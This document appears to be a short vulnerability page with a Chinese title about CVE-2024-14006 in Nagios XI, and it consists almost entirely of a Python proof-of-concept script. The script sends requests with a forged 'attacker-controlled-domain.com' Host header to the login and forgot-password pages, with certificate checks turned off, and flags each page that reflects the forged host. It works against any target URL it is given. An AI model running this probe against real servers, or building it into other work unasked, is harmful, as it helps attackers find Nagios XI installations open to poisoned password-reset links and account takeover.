CVE-2024-14006 Nagios XI 主机头注入漏洞

import requests import sys def test_host_header_injection(target_url): """ CVE-2024-14006 PoC - Nagios XI Host Header Injection This PoC demonstrates how to inject a malicious Host header to poison generated URLs in Nagios XI responses. """ print(f"[*] Testing Host Header Injection on {target_url}") # Malicious Host header to inject malicious_host = "attacker-controlled-domain.com" # Target common Nagios XI paths paths = [ "/nagiosxi/", "/nagiosxi/login.php", "/nagiosxi/forgot_password.php" ] for path in paths: try: # Send request with malicious Host header headers = { "Host": malicious_host, "User-Agent": "Mozilla/5.0 PoC-Tester/1.0" } response = requests.get(target_url + path, headers=headers, timeout=10, verify=False) # Check if the malicious host appears in response headers or body if malicious_host in response.text or malicious_host in str(response.headers): print(f"[+] VULNERABLE: {path}") print(f" Malicious Host found in response") else: print(f"[-] Not vulnerable: {path}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {path}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://nagios-server.local") sys.exit(1) target = sys.argv[1].rstrip('/') test_host_header_injection(target)